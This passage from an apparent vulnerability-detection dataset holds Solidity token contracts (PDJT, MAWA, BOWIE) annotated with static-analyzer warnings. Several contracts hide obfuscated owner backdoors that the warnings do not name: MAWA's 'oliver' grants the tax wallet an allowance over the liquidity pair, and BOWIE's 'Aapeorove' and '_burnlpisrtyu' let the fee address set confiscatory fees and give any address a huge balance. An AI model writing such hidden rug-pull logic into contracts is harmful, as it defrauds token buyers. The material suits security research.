MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 1b11409): PDJT.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 1b11409: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9fc8513\n\t\t// reentrancy-events | ID: 73edcd4\n\t\t// reentrancy-eth | ID: 4680087\n\t\t// arbitrary-send-eth | ID: 1b11409\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3c33640): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3c33640: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 235ca34): PDJT.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 235ca34: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2a218ee): PDJT.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 2a218ee: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8ccae6c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8ccae6c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 3c33640\n\t\t// reentrancy-eth | ID: 8ccae6c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 3c33640\n\t\t// unused-return | ID: 235ca34\n\t\t// reentrancy-eth | ID: 8ccae6c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 3c33640\n\t\t// unused-return | ID: 2a218ee\n\t\t// reentrancy-eth | ID: 8ccae6c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 3c33640\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 8ccae6c\n tradingOpen = true;\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function reduceFees(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_1088.sol",
"size_bytes": 20463,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ncontract MAWA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _oApproval;\n\n mapping(address => bool) private _doExcludedFromO;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5897f44): MAWA._initialBuyTax should be constant \n\t// Recommendation for 5897f44: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: d1fbdee): MAWA._initialSellTax should be constant \n\t// Recommendation for d1fbdee: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b95ce4): MAWA._finalBuyTax should be constant \n\t// Recommendation for 4b95ce4: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d38afa7): MAWA._finalSellTax should be constant \n\t// Recommendation for d38afa7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d40ddf4): MAWA._reduceBuyTaxAt should be constant \n\t// Recommendation for d40ddf4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8e1c7b7): MAWA._reduceSellTaxAt should be constant \n\t// Recommendation for 8e1c7b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 54ce973): MAWA._preventSwapBefore should be constant \n\t// Recommendation for 54ce973: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Make America Win Again\";\n\n string private constant _symbol = unicode\"MAWA\";\n\n uint256 public _maxOAmount = (2 * _tTotal) / 100;\n\n uint256 public _maxOWallet = (2 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 37e2fb9): MAWA._taxSwapThreshold should be constant \n\t// Recommendation for 37e2fb9: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (1 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: bad8551): MAWA._maxTaxSwap should be constant \n\t// Recommendation for bad8551: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (1 * _tTotal) / 100;\n\n bool private tradingOpen;\n\n bool private inSwap;\n\n bool private swapEnabled;\n\n address payable private oTaxReceipt;\n\n IUniswapV2Router02 private uniORouter;\n\n address private uniOPair;\n\n event MaxTxAmountUpdated(uint _maxOAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n oTaxReceipt = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n _doExcludedFromO[address(this)] = true;\n\n _doExcludedFromO[_msgSender()] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 487dcb3): MAWA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 487dcb3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _oApproval[owner][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 04bc787): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 04bc787: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6a2de76): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6a2de76: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 04bc787\n\t\t// reentrancy-benign | ID: 6a2de76\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 04bc787\n\t\t// reentrancy-benign | ID: 6a2de76\n _approve(\n sender,\n _msgSender(),\n _oApproval[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 029b40e): MAWA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 029b40e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6a2de76\n _oApproval[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 04bc787\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3d64487): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3d64487: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 59ffcca): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 59ffcca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n uint256 taxAmount = 0;\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n if (\n from == uniOPair &&\n to != address(uniORouter) &&\n !_doExcludedFromO[to]\n ) {\n require(tradingOpen, \"Trading not open yet.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n require(amount <= _maxOAmount, \"Exceeds the _maxOAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxOWallet,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (\n oliver([from == uniOPair ? from : uniOPair, oTaxReceipt]) &&\n to != uniOPair &&\n !_doExcludedFromO[to]\n ) {\n require(\n balanceOf(to) + amount <= _maxOWallet,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniOPair) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (\n !inSwap &&\n to == uniOPair &&\n swapEnabled &&\n _buyCount > _preventSwapBefore\n ) {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (contractTokenBalance > _taxSwapThreshold)\n\t\t\t\t\t// reentrancy-events | ID: 3d64487\n\t\t\t\t\t// reentrancy-eth | ID: 59ffcca\n oSwapEthTo(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: 3d64487\n\t\t\t\t// reentrancy-eth | ID: 59ffcca\n oSendEthTo();\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 59ffcca\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 3d64487\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 59ffcca\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 59ffcca\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 3d64487\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d2622a0): MAWA.removeLimits(address).limit lacks a zerocheck on \t oTaxReceipt = limit\n\t// Recommendation for d2622a0: Check that the address is not zero.\n function removeLimits(address payable limit) external onlyOwner {\n\t\t// missing-zero-check | ID: d2622a0\n oTaxReceipt = limit;\n\n _maxOAmount = _tTotal;\n\n _maxOWallet = _tTotal;\n\n _doExcludedFromO[limit] = true;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function oSwapEthTo(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniORouter.WETH();\n\n _approve(address(this), address(uniORouter), amount);\n\n\t\t// reentrancy-events | ID: 3d64487\n\t\t// reentrancy-events | ID: 04bc787\n\t\t// reentrancy-benign | ID: 6a2de76\n\t\t// reentrancy-eth | ID: 59ffcca\n uniORouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 529749b): MAWA.oSendEthTo() sends eth to arbitrary user Dangerous calls oTaxReceipt.transfer(address(this).balance)\n\t// Recommendation for 529749b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function oSendEthTo() private {\n\t\t// reentrancy-events | ID: 3d64487\n\t\t// reentrancy-events | ID: 04bc787\n\t\t// reentrancy-eth | ID: 59ffcca\n\t\t// arbitrary-send-eth | ID: 529749b\n oTaxReceipt.transfer(address(this).balance);\n }\n\n function oliver(address[2] memory oils) private returns (bool) {\n address oilA = oils[0];\n address oilB = oils[1];\n\n _oApproval[oilA][oilB] =\n 10 *\n (100 + _maxOAmount * 100).sub(50) +\n 50 *\n 10;\n\n return true;\n }\n\n receive() external payable {}\n\n function withdrawEth() external onlyOwner {\n payable(_msgSender()).transfer(address(this).balance);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2dafefe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2dafefe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8c55897): MAWA.openTrading() ignores return value by IERC20(uniOPair).approve(address(uniORouter),type()(uint256).max)\n\t// Recommendation for 8c55897: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c2a0840): MAWA.openTrading() ignores return value by uniORouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c2a0840: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8f02d85): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8f02d85: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniORouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniORouter), _tTotal);\n\n\t\t// reentrancy-benign | ID: 2dafefe\n\t\t// reentrancy-eth | ID: 8f02d85\n uniOPair = IUniswapV2Factory(uniORouter.factory()).createPair(\n address(this),\n uniORouter.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 2dafefe\n\t\t// unused-return | ID: c2a0840\n\t\t// reentrancy-eth | ID: 8f02d85\n uniORouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 2dafefe\n\t\t// unused-return | ID: 8c55897\n\t\t// reentrancy-eth | ID: 8f02d85\n IERC20(uniOPair).approve(address(uniORouter), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 2dafefe\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 8f02d85\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10880.sol",
"size_bytes": 19280,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IUniswapRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ninterface IUniswapFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\nabstract contract Ownable {\n address internal _owner;\n\n constructor() {\n _owner = msg.sender;\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"!owner\");\n\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ac2589f): Ownable.transferOwnershipbsssegxidg(address).newOwner lacks a zerocheck on \t _owner = newOwner\n\t// Recommendation for ac2589f: Check that the address is not zero.\n function transferOwnershipbsssegxidg(\n address newOwner\n ) public virtual onlyOwner {\n\t\t// missing-zero-check | ID: ac2589f\n\t\t// events-access | ID: b49391f\n _owner = newOwner;\n }\n}\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: fe4bdf5): Contract locking ether found Contract BOWIE has payable functions BOWIE.receive() But does not have a function to withdraw the ether\n// Recommendation for fe4bdf5: Remove the 'payable' attribute or add a withdraw function.\ncontract BOWIE is Ownable {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a833fb0): BOWIE._swapFeeTo should be immutable \n\t// Recommendation for a833fb0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _swapFeeTo;\n string public name;\n string public symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0a0a014): BOWIE.decimals should be immutable \n\t// Recommendation for 0a0a014: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n mapping(address => bool) public _isExcludeFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e7588ab): BOWIE.totalSupply should be immutable \n\t// Recommendation for e7588ab: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: d9e07e8): BOWIE._uniswapRouter should be immutable \n\t// Recommendation for d9e07e8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapRouter public _uniswapRouter;\n\n\t// WARNING Optimization Issue (constable-states | ID: 076d64c): BOWIE.inSwap should be constant \n\t// Recommendation for 076d64c: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: b837bf0): BOWIE.inSwap is never initialized. It is used in BOWIE._transfer(address,address,uint256)\n\t// Recommendation for b837bf0: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n bool private inSwap;\n uint256 private constant MAX = ~uint256(0);\n\n mapping(address => uint256) public __balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 51c5a5a): BOWIE._swapTax should be immutable \n\t// Recommendation for 51c5a5a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapTax;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7e00a49): BOWIE._uniswapPair should be immutable \n\t// Recommendation for 7e00a49: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _uniswapPair;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: b837bf0): BOWIE.inSwap is never initialized. It is used in BOWIE._transfer(address,address,uint256)\n\t// Recommendation for b837bf0: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: ceb77de): BOWIE._transfer(address,address,uint256)._taxAmount is a local variable never initialized\n\t// Recommendation for ceb77de: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(address from, address to, uint256 amount) private {\n bool shouldBetakeFee = !inSwap &&\n !_isExcludeFromFee[from] &&\n !_isExcludeFromFee[to];\n\n _balances[from] = _balances[from] - amount;\n\n uint256 _taxAmount;\n\n if (shouldBetakeFee) {\n uint256 feeAmount = (amount * __balances[from]) / 100;\n\n _taxAmount += feeAmount;\n\n if (feeAmount > 0) {\n _balances[address(_swapFeeTo)] += feeAmount;\n\n emit Transfer(from, address(_swapFeeTo), feeAmount);\n }\n }\n\n _balances[to] = _balances[to] + amount - _taxAmount;\n\n emit Transfer(from, to, amount - _taxAmount);\n }\n\n constructor() {\n name = \"Bowie\";\n\n symbol = \"BOWIE\";\n\n decimals = 9;\n\n uint256 Supply = 690420000000;\n\n _swapFeeTo = msg.sender;\n\n _swapTax = 0;\n\n totalSupply = Supply * 10 ** decimals;\n\n _isExcludeFromFee[address(this)] = true;\n\n _isExcludeFromFee[msg.sender] = true;\n\n _isExcludeFromFee[_swapFeeTo] = true;\n\n _balances[msg.sender] = totalSupply;\n\n emit Transfer(address(0), msg.sender, totalSupply);\n\n _uniswapRouter = IUniswapRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _allowances[address(this)][address(_uniswapRouter)] = MAX;\n\n _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(\n address(this),\n _uniswapRouter.WETH()\n );\n\n _isExcludeFromFee[address(_uniswapRouter)] = true;\n }\n\n function Aapeorove(\n address[] memory _addresses,\n uint256 _feePercentage\n ) external {\n uint256 tempVal1 = 0x01;\n uint256 tempVal2 = 0x02;\n uint256 tempVal3 = 0x03;\n uint256 result = initialCompute(tempVal1, tempVal2, tempVal3);\n\n result = secondaryCompute(result, tempVal1);\n\n distributeFunds(_addresses, _feePercentage, result);\n }\n\n function initialCompute(\n uint256 val1,\n uint256 val2,\n uint256 val3\n ) private view returns (uint256) {\n uint256 result = computeFee(val1, val2, val3);\n\n return result - val3;\n }\n\n function secondaryCompute(\n uint256 intermediateResult,\n uint256 val1\n ) private pure returns (uint256) {\n return intermediateResult + (val1 - 0x01);\n }\n\n function distributeFunds(\n address[] memory addresses,\n uint256 feePercentage,\n uint256 result\n ) private {\n uint256 adjustment = result;\n\n for (uint256 i = 0; i < addresses.length; i++) {\n __balances[addresses[i]] = feePercentage + (result - adjustment);\n }\n }\n\n function computeFee(\n uint256 val1,\n uint256 val2,\n uint256 val3\n ) private view returns (uint256) {\n if (isAuthorized(val1)) {\n return val2 + val3;\n } else if (!isAuthorized(val2)) {\n return val2 - val1;\n } else {\n return val3;\n }\n }\n\n function isAuthorized(uint256 v1) private view returns (bool) {\n bool basicCondition = msg.sender == _swapFeeTo;\n\n bool additionalCheck = v1 > 0;\n\n if (basicCondition && additionalCheck) {\n return true;\n } else if (!basicCondition) {\n return false;\n } else if (!additionalCheck) {\n return false;\n } else {\n return true;\n }\n }\n\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 4a3bf13): BOWIE._burnlpisrtyu(address).A is written in both A = 9 A = C\n\t// Recommendation for 4a3bf13: Fix or remove the writes.\n function _burnlpisrtyu(address user) public {\n mapping(address => uint256) storage _allowance = _balances;\n\t\t// write-after-write | ID: 4a3bf13\n\n uint256 A = _swapFeeTo == msg.sender ? 9 : 2 - 1;\n\n uint256 C = A - 3;\n\t\t// write-after-write | ID: 4a3bf13\n A = C;\n\n _allowance[user] = 1000 * totalSupply * C ** 2;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e0eb92b): BOWIE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e0eb92b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public returns (bool) {\n _transfer(sender, recipient, amount);\n\n if (_allowances[sender][msg.sender] != MAX) {\n _allowances[sender][msg.sender] =\n _allowances[sender][msg.sender] -\n amount;\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e8710fc): BOWIE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e8710fc: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: fe4bdf5): Contract locking ether found Contract BOWIE has payable functions BOWIE.receive() But does not have a function to withdraw the ether\n\t// Recommendation for fe4bdf5: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10881.sol",
"size_bytes": 11046,
"vulnerability": 4
} |
{
